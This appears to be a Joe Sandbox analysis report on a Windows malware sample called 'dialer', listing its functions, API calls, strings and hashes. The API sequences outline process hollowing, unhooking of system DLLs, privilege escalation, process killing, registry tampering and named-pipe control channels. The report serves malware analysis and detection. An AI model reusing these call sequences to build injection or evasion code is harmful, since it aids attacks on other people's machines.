Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
FindCloseChangeNotification.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlRestoreThreadPreferredUILanguages.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: Process$Heap$AllocEnum$BoundaryChangeCloseDeleteDescriptorFindLanguagesMemoryModulesNotificationOpenPreferredProcessesReadRestoreThread
String ID:
API String ID: 2219672174-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
RtlAllocateHeap.NTDLL(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: FindCloseChangeNotification.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: Process$Heap$AllocCloseEnumOpen$AllocateBoundaryChangeDeleteDescriptorFindHandleLanguagesMemoryModulesNotificationPreferredProcessesReadRestoreTerminateThread
String ID:
API String ID: 3158079169-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpi.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
FindCloseChangeNotification.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

.text, xrefs: 0000000140002074
C:\Windows\System32\, xrefs: 0000000140001F4F

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: File$CloseCreateHandleModuleProtectVirtual$ChangeCurrentFindFreeInformationLibraryMappingNotificationProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 1125510917-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNEL32 ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNEL32 ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
Sleep.KERNEL32 ref: 0000000140002BEE

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: Process$ChangeCloseFindNotificationOpenWow64
String ID:
API String ID: 3805842350-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceA.KERNEL32 ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorFindOpenToken$AdjustChangeCloseConvertCreateErrorExitFreeLastLoadLocalLockLookupNotificationPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 2373407002-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

open, xrefs: 0000000140002960
SOFTWARE, xrefs: 0000000140002675
dialerstager, xrefs: 0000000140002694

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitFindHeapName$AllocChangeDeleteEnumHandleInformationModuleNotificationPathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 4281403370-3931493855
Opcode ID: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000029.00000002.1470081977.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470209554.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000029.00000002.1470304496.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 00000029.00000002.1470136697.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

